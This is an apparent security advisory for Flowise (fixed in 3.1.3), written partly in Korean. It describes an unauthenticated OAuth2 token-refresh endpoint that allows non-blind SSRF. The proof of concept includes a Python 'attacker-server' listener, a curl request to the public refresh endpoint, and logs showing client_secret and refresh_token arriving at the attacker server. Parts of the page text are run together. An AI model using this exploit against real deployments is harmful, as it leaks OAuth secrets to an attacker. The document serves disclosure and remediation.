높음취약점
Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration
GHSA-r745-8hwv-h473 · CVE-2026-69250 · 갱신 2026. 8. 4.
영향 받는 패키지
| 생태계 | 패키지 | 수정 버전 |
|---|---|---|
| npm | flowise | 3.1.3 |
GHSA-r745-8hwv-h473 · CVE-2026-69250 · 갱신 2026. 8. 4.
| 생태계 | 패키지 | 수정 버전 |
|---|---|---|
| npm | flowise | 3.1.3 |
secureAxiosRequest() / denylist wrapper is used in this path.Non-blind response reflection
tokenInfo: { ...tokenData, ... }tokenData is the attacker/internal server response body.Secrets sent to SSRF target
client_idclient_secretgrant_type=refresh_tokenrefresh_tokenflowiseai/flowise:latest container (localhost:3000)localhost:18081) returning JSONpython3 -u - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
class H(BaseHTTPRequestHandler):
def do_POST(self):
l = int(self.headers.get('Content-Length','0'))
b = self.rfile.read(l).decode('utf-8', errors='replace')
print('REQUEST_PATH', self.path, flush=True)
print('REQUEST_BODY', b, flush=True)
self.send_response(200)
self.send_header('Content-Type','application/json')
self.end_headers()
self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server', 'echo_len': len(b)}).encode())
def log_message(self, fmt, *args):
pass
HTTPServer(('0.0.0.0', 18081), H).serve_forever()
PY
accessTokenUrl (authenticated action)In validation, this was done via authenticated API path (credential creation requires auth/permissions), then refresh was tested publicly.
Resulting credential ID used in runtime validation:
24c0b18b-ff6e-4d81-a9a7-26ea8ddccdefcurl -i -X POST \
http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \
-H 'Content-Type: application/json' \
-d '{}'
Observed response:
{
"success": true,
"message": "OAuth2 token refreshed successfully",
"credentialId": "24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef",
"tokenInfo": {
"ok": true,
"source": "attacker-server",
"echo_len": 76,
"has_new_refresh_token": false
}
}
Attacker server logs captured:
REQUEST_PATH /token
REQUEST_BODY client_id=cid2&client_secret=csec2&grant_type=refresh_token&refresh_token=r2
This confirms:
tokenInfo).client_secret and refresh_token to SSRF target,tokenInfo).